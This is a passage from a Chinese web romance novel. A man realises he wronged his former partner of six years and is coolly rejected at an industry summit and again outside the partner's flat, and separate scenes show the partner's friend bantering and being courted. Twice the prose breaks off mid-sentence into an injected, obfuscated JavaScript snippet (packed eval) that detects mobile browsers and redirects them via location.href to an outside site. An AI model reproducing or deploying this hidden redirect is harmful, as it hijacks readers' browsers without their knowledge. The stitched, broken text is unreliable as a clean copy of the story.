邵既明背靠着冰冷的衣柜滑坐在地,赤着的脚底传来地板的沁凉。但大脑的某个部分却异常清醒,甚至残酷。 过去六年的无数细节,不受控制地、一帧帧在眼前闪回。 不是那些激烈的争吵或温馨的浪漫——他们之间几乎没有那些。而是更平淡、更日常,却在此刻显出锋利棱角的碎片。 是他加班到深夜回来,总能发现客厅留着一盏灯,饭桌上扣着尚且温热的夜宵。是他随口提了句某家餐厅不错,第二天南景就会默默订好位子。是他生病发烧昏沉时,额头上不断更换的凉毛巾和守在床边彻夜不睡的模糊身影。是他习惯性伸手,总能准确地在固定位置找到他需要的东西。是家里永远充足的新鲜水果,温度适宜的洗澡水,熨烫平整的衬衫……是那种无声无息、渗透到生活每一个毛孔里的妥帖与照顾。 他曾经心安理得地享受这一切,将它们归类为南景很细心、他擅长这个,甚至觉得是他应该做的,毕竟……是南景设计了开始,不是吗? 可现在,那层名为误会的支撑他所有冷漠和理所当然的基石,轰然倒塌。 如果那杯酒不是南景的设计,如果那场混乱的开始与南景的意愿毫无关系…… 那么,这六年来,南景所做的一切,又算什么? 一个被无辜卷入、却因为他的误会和冷漠而不得不背负责任的傻瓜。 而他邵既明呢? 他以为自己是在容忍一个算计来的伴侣,用习惯和省心来维持一段不必投入真心的关系。他觉得自己给出了关系和稳定,已经是对那杯算计之酒最大的宽恕。 可谁会真的和一个自己毫无感觉、甚至心存厌恶的人,朝夕相处整整六年? 哪怕再合适,再省心。 六年,两千多个日夜。 他真的,对南景,毫无感觉吗? 他不是没有心动过。在阳光很好的午后,看到南景低头修剪天堂鸟时沉静的侧脸;在他难得下厨却搞得一团糟,南景一边无奈笑着接手一边说“下次还是我来”时;甚至在很多个疲惫的夜晚,回到这个被南景打理得温暖舒适的家,看到那个人带着笑意迎上来时……那些细微的悸动,是真实存在过的。 只是每一次,那点微弱的火花,都会立刻被他用“那杯酒”、“他的算计”、“不能让他得寸进尺”的冰冷念头,毫不留情地掐灭。他给自己套上了一层厚厚的、名为理智和防备的盔甲,将南景所有的好,都解读为别有用心的讨好或必须偿还的债务。 他以为自己是在掌控局面,是在惩罚算计者。可实际上,他惩罚的,是一个对他怀揣着最真挚情感、却被他用最残忍的误解伤害了六年的人。而他真正困住的,是他自己那颗,早已在不知不觉中交付出去、却因骄傲和偏见而不敢承认、只会用冷漠来自我欺骗的心。 原来,他才是那个最别扭、最可笑、也最可悲的人。 用一场自欺欺人的误会,筑起高墙,将那个唯一能让他感到家的温暖和安心的人,隔绝在外。然后用六年的时间,亲手将那份温暖消耗殆尽,还反过来质问对方:你为什么不满意? 邵既明将脸深深埋进屈起的膝盖,肩膀颤抖起来。 衣帽间里光线明亮,映照着满柜的华服,也映照着坐在冰冷地面上、身影蜷缩、显得无比孤清的男人。 他终于看清了自己的心。 ———— 南景起得很早,心里惦记着今天的行业峰会。 厨房里飘出米粥温润的香气和煎蛋的油香。他做了简单的白粥,煎了单面太阳蛋,还顺手拌了个小黄瓜+咸菜+咸鸭蛋。自己吃也是吃,本着“做都做了,不能浪费”以及“独苦苦不如众苦苦”的朴素原则,他走到周冉卧室门前,抬手—— “哐、哐、哐!” 不是敲,简直是砸。 “哐哐哐!” 门板都在微微震颤。 里面传来一声闷闷的带着浓重睡意的哀嚎,然后是窸窸窣窣、什么东西掉在地上的声音。几分钟后,卧室门被猛地拉开。 周冉顶着一头堪比鸟窝的乱发,睡衣领口歪斜,一只眼睛勉强睁开一条缝,另一只还顽固地闭着。她整个人像是还没从休眠模式完全启动,眼神涣散迷离,纯粹是困的。她趿拉着拖鞋,梦游般飘到餐桌旁,坐下,盯着面前那碗冒着热气的白粥和那颗澄黄诱人的煎蛋,发了足足十秒钟的呆。 然后,她拿起勺子,舀了一小口粥,慢慢咀嚼。咽下去后,她才像是灵魂归位了一点点,用一种带着浓浓起床气开口,声音还有些沙哑:“我刚刚躺在床上想,世界上几十亿人,每天早上,闹钟一响,几亿人同时从床上弹起来,表情痛苦,脑子里想的居然是又要去上那个破班……一想到大家上班上得想死,居然只是为了谋生,就觉得这事儿……好他妈幽默哦,呵呵。”她干笑了两声,毫无笑意,然后转过头,用一种看透世事的眼神看着南景,补了一句,“辛苦了哈,打工人。” 南景正慢条斯理地喝着粥,闻言,眼皮都没抬一下:“不辛苦,命苦。毕竟,想死不是真死,不上班,可真可能饿死。两害相权,还是去幽默一下吧。” 周冉被他的逻辑噎了一下,随即翻了个白眼,但手还是很诚实地又舀了一大勺粥塞进嘴里。咽下去后,她忽然放下勺子,双手合十,表情夸张地闭上眼,对着天花板开始念念有词:“感谢我亲爱的母亲大人,独具慧眼,为我的财务自由事业奠定了坚实的物质基础。让我可以坐在这里,一边吃着爱心早餐,一边思考人生的幽默,而不是一边啃着速食面包一边挤地铁。阿门。” “那你最该感谢的,难道不是你那位眼光独到、且……嗯,慷慨的后爸?” 周冉立刻睁开眼,做了个“嘘”的手势,表情肃穆中带着点戏谑:“小声点,后爸他老人家已经去见上帝了,估计正在接受上帝他老人家的聆讯呢。咱们要心怀感恩,更要保持低调,懂吗?”她拿起筷子夹起那颗太阳蛋,整个塞进嘴里,含糊不清地说,“希望上帝宽恕他……以及他留下的这笔让我可以尽情吐槽的遗产。阿——咳咳,蛋有点大……” 南景看着她被蛋黄噎得直瞪眼、手忙脚乱找水喝的样子,低低地笑出了声,将自己手边的温水杯推了过去。 国际会议中心外,峰会背景板在略带寒意的江风中岿然不动,上面烫金的行业标识反射着冷硬的天光。衣冠楚楚的人们鱼贯而入,低声交谈间。 邵既明踏入主会场时,演讲已近尾声。巨大的环形会场座无虚席,他的目光几乎没有在主讲人身上停留,几乎是下意识地,像被某种无形的磁力牵引,掠过了前排几个显眼的位置,然后定格在侧方靠前、一个并不算中心但视野极佳的席位上。 南景坐在那里。 不是他记忆中任何一种样子。 不是穿着宽松家居服在清晨厨房里煮咖啡的柔软侧影,不是蜷在沙发角落看书时微微耷拉下眼睫的闲适,也不是最后那段日子里,尽管疲惫却依然试图维持体面平和的隐忍模样。 他穿着剪裁极为精良的浅色西装,肩线挺括,腰身收得恰到好处,白色的衬衫领口露出一小截,系着一条色泽沉静、纹理细腻的深蓝领带。头发向后梳得一丝不苟,露出清晰的额头和眉眼。他微微侧头,正与邻座一位头发花白的外国老者低声交谈。 邵既明停下了脚步,心脏像是被那只曾属于他的手,不轻不重地攥了一把。他站在原地,隔着攒动的人头和空气里浮动的微尘,看着那个熟悉又无比陌生的身影。 台上的演讲者用激昂的语调宣布了茶歇时间,会场瞬间松驰,人群如潮水般涌向两侧的休息区。南景与那位外国老者一同起身,握手,交换名片,脸上是得体的微笑。他微微侧身,似乎准备与老者一同移步,目光顺势扫过会场,有那么零点几秒,与邵既明的视线在空中不期而遇。 没有任何波澜。南景的眼神平静得场外那深秋的湖面,没有惊讶,没有闪躲,没有恨意,甚至连半丝意外的涟漪都欠奉。那目光只是极其短暂地掠过邵既明,就像掠过会场里任何一根无关紧要的立柱或一块背景板,随即毫不停留地转向了老者,做了一个“请”的手势。 一股冰冷的寒意,瞬间从邵既明的脊椎攀爬上来。他见过南景各种状态下的眼睛——含笑的、委屈的、动情的、温柔的……却从未见过如此彻底的平静。那平静比任何激烈的恨意都更让他心惊,那意味着他在对方的情感世界里,已经被彻底归零,成了一个无需加载情绪的无效数据。 几乎是下意识的动作,在南景转身准备与老者离开的瞬间,邵既明已经拨开面前缓慢移动的人群,几个大步跨了过去。他动作有些急,甚至不小心碰掉了旁边一位女士手中的宣传册,只来得及匆匆丢下一句“抱歉”,视线却死死锁住那个即将融入人群的背影。 “南景。” 他的因用力而显得有些生硬,在嘈杂的背景音中不算突出,但足够让前面几步远的人听见。 南景的脚步停下了。他没有立刻回头,只是微微偏了下头,似乎在确认声音的来源,又像是一个本能的迟疑。然后,他才缓缓转过身,脸上依旧是那份无懈可击待客式的平静,目光落在邵既明脸上,没有询问,没有意外,只是等待。 旁边那位外国老者有些疑惑地看了看他们,识趣地对南景点了点头,用带着口音的英语说了句“稍后见”,便先走向了咖啡区。 只剩下他们两人,站在尚未完全散开的人群边缘。 邵既明的喉咙发紧,千头万绪堵在胸口,最终挤出的,却是意料之中、却也苍白无力的三个字:“我们谈谈。” 南景静静地站着,手里还拿着那份会议资料和一支深蓝色的钢笔。 “邵总,我十五分钟后,有个预约会议。”他抬起手腕看了看时间。 “就几句话。”邵既明的声音低了下去。他试图向前迈一小步,拉近距离。 几乎是同时,南景的手腕极轻微地动了一下。一个向侧后方回收的动作,避开了任何可能的触碰。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046467|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只曾经在他熟睡时为他掖好被角、在他醉酒后为他擦脸、在他烦躁时被他无意识握住的手。 邵既明的手指僵在半空,他猛地抬眼,对上南景的目光。 南景也正看着他,眼神依旧平静。 “邵总,”他又重复了一遍这个称呼,语气比刚才更疏离了几分,“我的时间,现在很贵。” 说完,他微微颔首,没有再多看邵既明一眼,转身,步伐稳健地朝着与咖啡区相反的技术洽谈区走去。西装背影挺直,很快便与几位同样西装革履、正在等待的欧洲技术专家汇合。他微微倾身,与其中一人握手,侧脸上重新浮起那种专业的神情,很快被交谈的人群围住。 邵既明站在原地,伸出的手还悬在那里,指尖冰凉。会场里温暖如春,人声鼎沸,可他却觉得一股寒气从脚底直冲天灵盖,四肢百骸都僵住了。那一刹,背景失焦,万物噤声。。 他看见南景在人群中微微侧身,对一位提问者耐心地解释着什么,手指偶尔点在平板电脑的屏幕上,动作利落自信 邵既明忽然清晰地意识到——他从未真正了解过这个与他同床共枕了六年的人。或者说,他了解的那个南景,是对方为他、为那个家精心剥离出来、打磨圆润的一面。而那个西装革履、在国际峰会上与顶级专家侃侃而谈、时间以分秒计价的南景……于他而言,完完全全是一个陌生人。 峰会冗长的议程终于步入尾声,落地窗外,暮色已如化不开的浓墨,沉沉地压下来。 邵既明没有立刻离开。他几乎在演讲全部结束后,就下意识地寻找那个身影。南景似乎是被几位同行围住了,站在靠近技术展示区的落地窗前,显得格外清隽,也格外遥远。他脸上带着适度的微笑,偶尔点头,手指在平板电脑上划动,似乎在敲定最后的细节。 邵既明站在原地,隔着川流不息、即将散场的人群,他看见南景与最后一位握手,礼貌地颔首,然后拿起搭在旁边椅背上的风衣,搭在臂弯,转身朝出口走来。 不能再等了。他甚至没注意到,和他们公司有过合作的一位做实业起家、性格向来豪爽直接的赵总,正从另一个方向走来,显然是看到了他,准备过来打招呼。 “南景。”邵既明再次开口,他向前走了两步,截在了南景通往主出口的路径上。 南景的步伐停了下来。他抬起眼,目光落在邵既明脸上。 “邵总,”他先开口,依旧是这个称呼,“还有事?” 这时,赵总也走了过来,脸上带着热络笑容,拍了拍邵既明的肩膀:“既明!还没走?我刚还在那边看到……”他的话戛然而止,因为他看到了邵既明对面站着的南景,以及两人之间那种明显不同寻常的气氛。赵总是知道邵既明身边有这么个人的,虽然没见过几次,但圈子里隐约有些传闻。 邵既明仿佛没感觉到赵总的到来,他的全部注意力都锁在南景身上。 “就耽误你一分钟,”邵既明的声音很低,“关于今天上午……还有之前,很多事。我需要……” “邵总,”南景再次打断了他,语速稍微快了一丝,透露出明确的不想多谈,“如果是公事,可以联系我的助理预约时间。如果是私事,”他停顿了半秒,“我以为,我们已经没有需要沟通的私事了。” “没有需要沟通?”邵既明重复着这几个字,像是第一次理解它们的含义,一股荒谬的火气猛地窜上来,“南景,六年!我们之间……怎么可能一句没有需要沟通就完了?那些事……那些误会……”他差点就要脱口而出“那杯酒”,但在赵总明显竖起耳朵的注视下,硬生生刹住,额角青筋隐现。 “邵既明。”南景连“邵总”都不叫了,直接连名带姓,他终于向前走了一小步,不是为了靠近,而是为了将距离拉近到一个可以压低声音的范围。他的目光如沉静的水,映出邵既明此刻有些失态的狼狈。 “行业峰会,公开场合,你我的朋友、同行、潜在合作伙伴都在看着。无论我们之间有过什么,都已经结束了。成年人最基本的体面,是尊重对方的决定,和不打扰对方现在的生活。你这样,很难看。” “难看?”邵既明像是被这个词刺中了,低哑地反问,眼底泛起血丝,“南景,我只是想……” “你想怎样,都与我无关了。”南景再次截断他,他甚至微微侧头,看了一眼旁边明显在努力降低存在感、却忍不住偷偷瞥来的赵总,然后重新看向邵既明:“邵先生,请让一下。我赶时间。” “邵先生”。 邵既明整个人僵在那里,他看着南景平静的脸,看着他眼中希望他立刻消失的漠然,看着他微微侧身、准备从旁边绕过的姿态……他张了张嘴,却发现喉咙被什么东西死死堵住,发不出任何声音。 南景没有再看他,也没有看旁边表情精彩的赵总,径直从他身侧走了过去。 赵总在旁边尴尬地站了半晌,才小心翼翼地凑近,干咳一声:“那个……既明,没事吧?我看南……南先生好像挺忙的哈……” 邵既明没有回答。 赵总摸了摸鼻子,觉得这气氛实在压抑,想拍拍他肩膀安慰,手伸到一半又缩了回来,叹了口气:“走吧,出去抽根烟?这憋了一天的……” 两人走到酒店外专用的吸烟露台。深秋夜风寒彻骨,却吹不散邵既明心头的窒闷。他接过赵总递来的烟,点燃,深深吸了一口。他沉默地吞吐着烟雾,望着远处江面上游轮的灯火,眼神空洞。 赵总陪着抽了半支烟,终究是没忍住好奇心,加上几分对下友的关切(以及八卦),斟酌着开口:“既明,你跟刚才那位南先生……真分了?圈子里前段时间是有点风声,我还以为是瞎传……看你刚才那样,还没放下?” 邵既明夹着烟的手指几不可察地颤抖了一下,烟灰簌簌落下。他沉默了许久,久到赵总以为他不会回答了,正准备打个哈哈岔开话题。 “是我配不上他。” 邵既明的声音嘶哑得厉害,像是被砂纸磨过,混在夜风里,几乎要被吹散。 赵总一愣,没想到会得到这样一个答案。在他的认知里,邵既明条件优越,心高气傲,何曾听过他用这种语气评价自己,还是为了一个……曾经在身边似乎并不那么起眼的伴侣。 “是我没珍惜。”邵既明又重复了一遍,更像是说给自己听。他狠狠吸了口烟,猩红的火光在他指尖明灭。“六年……我以为给了安稳,其实是困住了他。我以为他在索取,其实是我一直在透支。等到他什么都不要了,我才发现……”他顿住,喉结剧烈地滚动了一下,将后面的话和翻涌的苦涩一起咽了下去,只剩下嘶哑的余音在寒风里飘荡,“才发现,我什么都没给过,也……不配再要了。” 赵总听得有些动容,拍了拍他的背:“哎,这话说的……感情的事,谁说得清。不过既明,你能这么想……也是明白了。算了,过去就过去吧,以后……” 第二天,某个聚集了金融圈、科技圈中高层的小群里,一条八卦悄然流传开来,源头似乎就是那位赵总酒后唏嘘的感慨。消息绘声绘色地描述了昨晚峰会结束后,邵氏那位向来眼高于顶的太子爷邵既明,如何当众被前男友冷淡拒绝,而后在朋友面前,亲口承认“是我配不上他,是我没珍惜”,神色如何颓唐落寞。 17. 追妻开始 晨光吝啬,冬日清晨的天色是一种混沌的灰蓝。南景早已穿戴整齐,临出门前,一边对着玄关的镜子整理领带,一边回头对瘫在客厅沙发上、用毯子把自己裹成蚕蛹、只露出一头乱发的周冉说:“你就真一点不担心?我这半路出家的和尚,念的经万一不对,把你那笔巨款赔个底儿掉,你可就连咸菜馒头都吃不上了。” 周冉从毯子边缘艰难地伸出一只手,嫌弃地挥了挥:“啧,慌什么。知道鸡蛋不能放一个篮子里的,是傻子。姐的鸡蛋,早就在好几个菜市场、好几十个篮子里分开放好了。你这篮,随便玩儿,玩脱了就当支援金融小白鼠实验了。咸菜馒头怎么了?清热败火,养生。” 南景失笑,摇了摇头,便轻轻带上了门。这样的情谊,确实千金不换。 周冉像只慵懒的猫,蠕动着从沙发“蛹”里挣脱出来,眼睛都没完全睁开,凭着记忆飘回卧室,重新把自己砸进柔软蓬松的被窝。被窝里还残留着她之前焐热的暖意,她满足地喟叹一声,正准备坠回黑甜乡,与周公再续前缘—— “嗡……嗡嗡……” 手机在床头柜上坚持不懈地震动起来,屏幕的光在昏暗的卧室里明明灭灭,像个不懂事的少年。 周冉从被子里伸出一只手臂,在空中盲抓了两下,成功捞到手机,看也没看就划开接听,按了免提,重新把手臂缩回温暖的堡垒:“喂……有话说,有屁放。给你三秒,超过字数收费。” 电话那头传来秦朗带着笑意的声音:“还没醒呢?太阳都晒……哦,今天阴天。那不管,反正该起了。今天那个慈善拍卖午宴,你真不来?有不少好玩的东西,还能看见一群衣冠禽兽……啊不是,是社会名流,表演我很慷慨。” “不去。”周冉闭着眼,把脸往枕头里埋得更深,“除了干饭,姐对一切人类社交活动皆无向往。此刻,被窝之外,皆是他乡。勿扰,跪安吧。” 秦朗在电话那头低低地笑,那笑声通过电流传来,莫名有些挠耳朵:“小没良心的,就不知道主动关心关心我。我这儿前脚刚给你家南景牵线了个稳赚不赔的项目,后脚你就这么对我?过河拆桥也没你这么快的,桥还没过完呢就惦记着拆了?” “哎~”冉拖长了调子,假模假式地叹了口气,语气“诚恳”得令人发指,“我倒是真想关心关心你啊秦总,一日三餐嘘寒问暖的那种。可你瞧你,身强体壮,吃嘛嘛香,连个感冒发烧都不舍得给我机会。我想发挥一下我微薄的同情心和人道主义关怀,都没处使力。你不病,我叹气啊。”她说着,还真配合地又叹了口气,满是“遗憾”。 “嘴这么甜?”秦朗半点不恼,笑意反而更深了,顺着她的话说,“那看来我得更注意身体,争取一直不给你关怀我的机会,让你这份心意永远送不出去,憋着。” “嗯哼,”周冉哼了一声,无情戳破,“提醒你一下,我只是嘴偶尔甜一下,心里是绝对没有你的。不要自我攻略,容易走火入魔。” “活得这么通透清醒啊?不累吗?” “你管我怎么活?”周冉终于舍得把眼睛睁开一条缝,盯着天花板模糊的阴影,“我又不跟你过。你操那闲心,不如操心操心你司股票,或者想想晚上吃啥。” “哈哈哈哈哈!”秦朗像是被彻底取悦了,笑声爽朗,“我真是……越来越喜欢你了。这油盐不进、死猪不怕开水烫……啊不对,是遗世独立、清醒强大的劲儿。”他顿了顿,“明天晚上,平安夜,几个朋友组了个局,在江边那家新开的露台酒吧,观景绝佳,据说还专门请了调酒冠军来坐镇。最重要的是,”他刻意放慢语速,抛出诱饵,“有、帅、哥。不止一个。各种类型,任君挑选。” 周冉的睫毛颤动了一下,终于完全睁开了眼睛,虽然眼神依旧没什么光彩:“哦?你要是用这个来诱惑我……那我高低得爬起来看看,到底有多帅,才能让你秦总用这么浮夸的语气来当说客。” “我最帅。”秦朗立刻接上,毫不脸红,“你看我就行,买一送……不,看我一个就够了,附带全天候全方位无死角贴心服务。” “邵既明不在吧?”周冉没接他的茬,直接问了最关心的问题,“他在我就不去了,大过节的,不想添堵。” “放心,打听好了。”秦朗答得利落,“他明天得回老宅,家庭日,跑不掉。我一会就跟南景也说一声。对了,冉冉,外面下雪了。今年初雪。” 周冉微微偏头,望向被厚重窗帘遮得严严实实的窗户。房间里很安静,听不到雪落的声音。但想象中,细碎的雪沫应该正悄无声息地覆盖城市的轮廓。 “嗯,”她应了一声,声音也柔和了些许,重新闭上眼,倦意再次上涌,“知道了。一会儿再说……我先去把跟周公那盘残棋下完,刚才差点将军了……” “又熬夜看剧还是打游戏了?” “我这不叫熬夜,”周冉理直气壮地纠正,意识已经开始模糊,声音越来越小,“我这叫……错峰睡觉。白天睡,晚上high,节能环保,还不跟社畜抢地铁……好了,跪安吧,小秦子……” 电话那头,秦朗听着她逐渐含糊直至消失的尾音,和渐渐均匀悠长的呼吸声,手机大概被她随手塞在枕头边了,没有立刻挂断。他听着那细微的声音,又转头看向车窗外。细雪纷纷扬扬,落在行道树枝头,落在匆匆行人的肩头,也落在缓缓行驶的车窗上,很快融化成细小的水痕。 他对着早已只剩呼吸声的电话,很轻地说了一句:“好梦。” 然后,才结束了通话。车厢内重新安静下来,只剩下引擎的低鸣和落雪无声。他脸上那副惯常的、玩世不恭的笑容淡去,望着窗外被初雪温柔覆盖的街道,眼底是一片无人得见的温柔。 深夜的雪已积了薄薄一层,出租车尾灯的红光在雪地上拖出一道转瞬即逝的痕,南景付钱下车,凛冽的空气夹杂着雪沫,瞬间扑了他满脸。他下意识地拉高了羊绒围巾,低头看了眼手机上周冉发来关于明天聚会的确认信息,抬步朝单元门走去。 然后,他看到了那个身影。 邵既明静静地站在那里,他穿着那件南景熟悉的黑色长大衣,肩头、发顶都已落了一层不算薄的雪。脚下散落着七八个,或许更多的烟蒂,凌乱地嵌在积雪中,有些已被新落的雪半掩。 南景的脚步微不可察地顿了一下,但他脸上没有任何表情,甚至连睫毛颤动的频率都没有改变。他像是没看见这个人,也没看见那满地狼藉的烟蒂,目光平静地掠过邵既明,步伐没有丝毫迟疑或加快,维持着原有的节奏,径直向前走去。 三米。两米。一米。 他能闻到空气里残留的烟草味,也看到了邵既明转过来的脸。 那张曾经英俊得近乎有距离感的脸,此刻呈现出一种颓败的灰白。眼底是蛛网般密布的血丝,眼眶深陷,下颌绷紧的线条因为寒冷或是别的什么原因,带着细微的颤抖。他的嘴唇有些干裂,呼出的气息在冷空气中凝成急促的白雾。 就在南景即将与他擦肩而过的瞬间,邵既明的手臂动了一下,抬了起来,指尖微微蜷缩,似乎想抓住南景的手臂,或是衣袖,哪怕只是一个衣角。 南景甚至没有侧目。 邵既明的手指,最终只触到了从他身侧掠过的空气,以及几片被他行走带起悠悠飘落的雪花。 抓空了。 他的手僵在半空,他看着南景已经越过他,背影没有丝毫停顿。 “南景。” 邵既明的声音响了起来,嘶哑得厉害,像被砂石磨过,又像被寒风吹裂了喉咙。 南景的手指已经按在了门禁的数字键盘上,听到了身后的声音,也听到了那声音里无法掩饰的艰涩。但他按密码的动作没有丝毫停滞,“嘀、嘀、嘀”清脆的按键音规律地响起。 “我们……能不能谈谈?”邵既明往前跟了一小步,“就几分钟……不,就几句话。外面冷,你……你可以进去,我就在这儿说。” “咔哒”一声轻响,门锁开了。南景拉开门,他没有立刻进去,但也没有回头。 “邵先生,我以为,在峰会那天,我已经说得很清楚了。我们之间,没有需要再谈的事了。无论是公事,还是私事。” “不是的……南景,你听我说,”邵既明急切地又上前一步,他眼中血丝更红,“我知道我错了。我错得离谱……那杯酒,是我……是我误会了你六年。我以为……我以为是你……” 南景静静地听着,脸上依旧没有任何波澜。“哦。知道了。” 知道了。 如此平淡的三个字。没有愤怒的质问“你才知道?”,没有委屈的哭诉“你知不知道我这六年怎么过的?”,甚至连一声嘲讽的冷笑都没有。就只是“知道了”,像听到一个与己无关迟到了太久早已失效的通知。 邵既明被他这种彻底的平静钉在原地,痛得他呼吸一滞。他宁愿南景骂他,打他,恨他,至少那代表还有情绪,还意味着在意。可这种彻底的漠然,比任何利刃都更能凌迟他。 “不只是这个……”邵既明的声音更哑了,“是我……我这六年来,对你的态度,我的冷漠,我的忽视,我的自以为是……都是错的。我把你的好当成理所当然,我把你的付出看成别有所图,我用一个可笑的误会当借口,心安理得地享受着你的照顾,却从来没有……从来没有真正地去了解你,去珍惜你。” 雪花落在他的睫毛上,迅速融化。他语无伦次,试图把心里那些翻天覆地、几乎要将他吞噬的悔恨和认知,全都倾倒出来。 “我看到了,在峰会上……我从来没见过那样的你。那么……耀眼,那么从容。我才发现,我根本不认识你。或者说,我认识的,只是你愿意展现给我看的、围着我转的那一部分。我把你……把你禁锢在我自以为是的世界里,还觉得那是为你好……”他痛苦地闭了闭眼,“南景,对不起……真的对不起。我不求你立刻原谅我,我知道我没资格。我只希望……你能给我一个机会,一个弥补的机会,让我……让我重新认识你,用正确的方式……” 南景一直安静地听着,直到邵既明的声音再次哽住。 然后,南景缓缓地转过了身。 这一次,他的目光终于落在了邵既明脸上。 “邵既明,你的道歉,我收到了。” 邵既明的眼睛蓦地睁大。 但南景接下来的话,将那点火光瞬间扑灭,连灰烬都不剩。 “但知道了和原谅,是两回事。道歉和重新开始,更是毫不相干。”南景的语气甚至称得上温和,“你说你不认识我,现在或许看到了一点。但对我来说,那个会因为一杯酒、一个误会就冷漠待我六年的人,那个需要我耗尽所有热情和期待才能换来一点习惯的人,我已经认识了六年,足够了。” 他微微吸了口气,冬夜的冷空气涌入肺腑,让他更加清醒。 “我不恨你,邵既明。真的。”他看着对方骤然惨白的脸,甚至轻轻摇了摇头,“恨也需要力气。而我对你,已经没有任何力气可以浪费了,无论是爱,还是恨。” “那些伤害,那些失望,那些我一个人捱过的日子……它们没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046468|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失,它们变成了我的一部分,让我变成了现在的样子。现在的我,对你没有期待,没有需求,自然,也没有原谅的必要,和重新开始的意愿。” “你说你想弥补,想用正确的方式?太迟了。我已经不需要了。我的生活,现在很好,很平静。没有你,反而更好。” 他最后看了一眼邵既明,那眼神像是在看一个执迷不悟、却已与己无关的陌生人。 “雪大了,回去吧。以后,别再来了。” 说完,他不再有丝毫停留,转身,一步跨进了温暖的门厅。门在他身后缓缓合拢,将那漫天风雪,那双布满血丝的眼睛,以及那一声被门扉隔绝的“南景……”,都彻底关在了外面,也关在了过去。 南景一步一步走向电梯,脚步很稳,没有丝毫凌乱。 脸上有些凉。他抬手摸了摸,是融化了的雪水。仅此而已。 走到家门口,按下指纹,指尖冰凉,但很稳。脱下大衣,换好拖鞋。 “回来了?”周冉像只听见动静立刻从沙发上一堆软垫里支棱起半个身子,头发虽然还是有些乱,但眼睛在昏暗的客厅光线下亮得出奇,精神抖擞,完全不像平时这个点该昏昏欲睡的样子。 “嗯。”南景走到客厅中央,瞥了一眼茶几上,空空如也,只有她的手机屏幕还幽幽亮着。“晚上吃的什么?” “我吃了方便面,还加了个蛋,营养均衡。你呢?资本家没管饭啊?” 南景给自己倒了杯温水,走到她旁边的单人沙发坐下,揉了揉眉心:“管了,食不知味。下次这种行业交流晚宴,你应该替我去,反正你只需要干饭。” “啧,听着就累。不过说真的,”周冉翻了个身,变成趴在沙发上,脚丫子在靠背上晃啊晃,“南小景,你现在不是号称自由职业者吗?我怎么感觉你比当牛做马的时候还忙?天天不是看项目就是见客户,手机消息叮叮咚咚就没停过。你这自由是不是对自由有什么误解?还是被秦朗那厮忽悠瘸了,真当自己是华尔街之狼了?” 南景喝了一口水,他无奈地瞥了她一眼:“大小姐,投资这行,不是躺床上钱就从天而降的。项目要看,要看仔细,行业前景、技术壁垒、团队背景、财务状况、风险评估……哪一样不得花时间琢磨?你以为真是菜市场买菜,看顺眼就付钱啊?”他顿了顿,故意用她常说的句式回敬,“真不把钱当钱,看到什么就往里扔,那不叫投资,那叫人傻钱多,迟早被市场教做人。” “听听,这口气,这觉悟,”周冉夸张地拍了下沙发,“果然,金钱使人进步,贫穷使人……使人像我一样,只想躺着。行了,我单方面宣布,我不适合上班,也不适合当资本家,我就适合当个快乐的废物,偶尔给你们这些奋斗逼提供一点精神上的……嗯,反面教材。” 南景看着她那副摆烂到底的架势,笑了笑,没接话。 “你今晚怎么回事?”南景换了个话题,打量着她,“精神这么好,不像你。平时这个点,你早该一边喊着修仙一边眼皮打架了。” 周冉闻言,立刻换上一副哲学家的困惑表情,眉头皱起,眼神空洞地望着天花板:“哎,这就是一个长期困扰我近乎玄学的问题,你说,失眠和嗜睡,这两种截然相反、势不两立的生理状态,到底是怎么在我这具小小的躯体里,达成如此和谐、如此随意切换的共存的?” 她伸出手指,开始煞有介事地分析:“比如今天白天,我困得仿佛被下了十斤蒙汗药,眼睛睁不开,灵魂都要出窍去跟周公掰头。可一到晚上,特别是过了十一点,好家伙,精神得能去楼下跑个马拉松,脑子转得比陀螺还快,往事历历在目,未来充满遐想,就是不想睡觉。这科学吗?这合理吗?我的生物钟是不是叛逆期到了,专门跟我对着干?” 南景早就习惯了她这种一本正经胡说八道的调调,配合地点点头:“嗯,听上去像是你的睡眠系统在实行分时分区弹性工作制,白天轮休,晚上加班,还不给加班费。建议你跟它谈谈劳动法。” “谈个屁,”周冉哀嚎一声,把脸埋进沙发靠垫里“它要是听得懂人话,我早就跟它签下不平等条约了,白天允许它睡到自然醒,晚上它也放我去见周公。现在这算什么?互相伤害吗?而且我怀疑它是不是在偷偷修炼什么颠倒乾坤大法,准备哪天给我来个大的,比如连续清醒七十二小时,或者一觉睡过整个圣诞节。” “那也不错,连续清醒七十二小时,你可以把囤的剧看完,游戏打通关,顺便再把明年的人生规划做了。一觉睡过圣诞节,还能省一笔礼物钱。” “南景!”周冉抓起一个抱枕扔过来,被他稳稳接住,“你还是不是人啊!有没有点同情心!我现在很痛苦,在跟我的生理本能作斗争!你却在盘算省礼物钱?你的良心不会痛吗?” “我的良心说,它建议你与其在这里进行无意义的哲学思辨和生理控诉,不如去泡个热水澡,或者喝杯热牛奶,尝试用物理手段欺骗一下你那叛逆的生物钟。明天不是还要去鉴赏帅哥吗?顶着两个黑眼圈去,再帅的哥在你眼里也得打折扣。” 